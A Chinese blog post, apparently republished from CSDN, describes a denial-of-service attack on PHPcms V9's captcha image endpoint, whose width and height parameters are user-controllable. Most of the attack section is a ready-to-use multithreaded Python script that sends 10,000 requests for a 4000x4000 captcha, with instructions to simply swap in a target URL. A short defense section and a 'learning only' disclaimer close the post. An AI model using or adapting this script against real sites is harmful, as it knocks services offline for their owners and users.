阅读 196

Web安全(图片验证码大小可控导致ddos)

Web安全(图片验证码大小可控导致ddos)

图片验证码大小可控导致ddos

一. 前言:

在网站登录处,通常会有图片验证码.我们知道,Web漏洞的成因都有一个很重要的共同点,那就是外部可控.

比如Sql注入中的Url,用户输入的地方可能会存在XSS等.那么如果图片验证码可控,会发生什么呢?

二 . 原理:

比如一个生成图片验证码的链接如下:


http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=

1

这里我们注意两个参数:width和height,这两个意思字面理解为长度和宽度,那么我们尝试修改它的大小:



可以看到,修改大小后图片也随之改变.那么如果我们在这里找到一个临界值(能显示图片的最大长度和宽度),然后利用多线程一直去访问这个链接,是不是会造成服务端不断去处理这个请求(比预期的数据包大很多),可能会导致服务端压力过大,造成ddos攻击.


三. 实战


这里我们使用PHPcms_V9来测试: 首先搭建好环境,来到管理员登录页:

2. 可以看到图片验证码,然后F12找到生成验证码的链接,如下:


http://xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=500&height=500&font_color=&background=

1

然后尝试修改width和height,找到最大值且保证可访问.这里我找到的大概是 width=4000&height=4000

然后就可以利用脚本使用多线程去访问了


四. Python测试脚本


import requests

import threading

import time


"""

    @ 图片验证码大小可控导致ddos攻击脚本

    @ 单线程为测试,可忽略

    @ 使用时修改url即可

    @ 可根据实际情况修改访问次数,默认为10000

    @ 仅供学习参考,请勿实施攻击

    

"""


# 访问指定Url

def requser():

    headers = {

        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'

    }

    # 将图片的长宽设置为最大临界值的链接

    url = "http://xx.xx.xx.xx/DEV_GBK_1.4.0/gbk/install_package/api.php?op=checkcode&code_len=4&font_size=20&width=4000&height=4000&font_color=&background="

    # url = "https://www.baidu.com/"

    req = requests.get(url=url,headers=headers)

    print("resuest Success!")


# 单线程访问

def single_thread():

    for i in range(50):

        requser()

        print(f"现在是第{i}次请求网页")


# 多线程访问

def multi_thread():

    print("multi_thread begin")

    threads = []

    for i in range(10000): # 10000为访问次数,可根据实际调整

        threads.append(

            threading.Thread(target=requser)

        )

    print(threads)

    for thread in threads:

        thread.start()


    for thread in threads:

        thread.join()

    print("multi_thread end")


if __name__ == '__main__':

    # 单线程

    # single_thread()

    # 多线程

    start = time.time()

    multi_thread()

    end = time.time()

    t = end - start

    print(f"multi thread cost:{t} s")

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

五. 测试结果:


这里我们开启脚本去攻击,自己的服务器比较差,跑了100来次就挂了,看以下效果,已经刷不出来了:


看看服务器:Apache已经挂了


六 . 防御

这个就老生常谈了:

(1) 指定图片验证码的大小,不让外部用户控制大小参数

(2) 发现脚本请求直接封IP

————————————————

版权声明:本文为CSDN博主「Beyond My」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_42383069/article/details/119025358


文章分类
后端
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐